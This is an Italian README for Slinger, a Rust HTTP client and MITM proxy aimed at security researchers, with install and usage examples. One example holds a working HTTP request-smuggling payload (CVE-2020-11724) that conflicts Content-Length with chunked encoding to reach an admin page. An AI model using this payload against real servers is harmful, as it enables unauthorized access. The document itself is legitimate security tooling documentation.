
Un client HTTP sviluppato specificamente per ricercatori di sicurezza.
Un client HTTP per Rust progettato per hacker.
Esplora la documentazione »
Vedi Demo
·
Segnala un Bug
·
Richiedi una Funzionalità

Slinger è uno workspace che contiene:
La libreria client HTTP core per Rust progettata per hacker.
Un proxy Man-in-the-Middle (MITM) con intercettazione trasparente del traffico HTTPS, simile a Burp Suite.
(torna su)
Questo esempio abilita alcune funzionalità opzionali, quindi il tuo Cargo.toml potrebbe essere così:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
E poi il codice:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
Aggiungi al tuo Cargo.toml:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
Codice di esempio:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
Consulta slinger-mitm/README.md per maggiori dettagli sull'uso del proxy MITM.
Slinger supporta le seguenti funzionalità opzionali:
tls - Funzionalità TLS di base (abilita tipi e interfacce TLS senza un backend specifico)rustls - Supporto HTTPS tramite Rustls (richiede tls, implementazione puramente Rust)http2 - Supporto del protocollo HTTP/2 (richiede un backend TLS)cookie - Supporto per la gestione dei cookiecharset - Supporto per la codifica dei caratteriserde - Supporto per serializzazione/deserializzazionegzip - Supporto per la compressione gzipschema - Supporto per JSON SchemaPer usare TLS, devi:
tlsrustls, OPPURE fornire un connettore TLS personalizzatoCombinazioni di funzionalità di esempio:
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
Se vuoi usare native-tls, OpenSSL o altre librerie TLS, puoi implementare un connettore TLS personalizzato. Vedi native_tls_example.rs per un esempio completo su come integrare native-tls.
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
Per altri esempi, fai riferimento all'esempio
(torna su)
I contributi sono ciò che rende la community open source un posto fantastico per imparare, ispirare e creare. Ogni contributo che fai è molto apprezzato.
Se hai un suggerimento che potrebbe migliorare il progetto, per favore fai il fork del repository e crea una pull request. Puoi anche semplicemente aprire un issue con il tag "enhancement". Non dimenticare di dare una stella al progetto! Grazie ancora!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)(torna su)
Distribuito sotto la licenza GPL-3.0-only. Consulta LICENSE per maggiori informazioni.
(torna su)
Il tuo Nome - @Kali_Team - [email protected]
Link del Progetto: https://github.com/emo-crab/slinger
(torna su)
(torna su)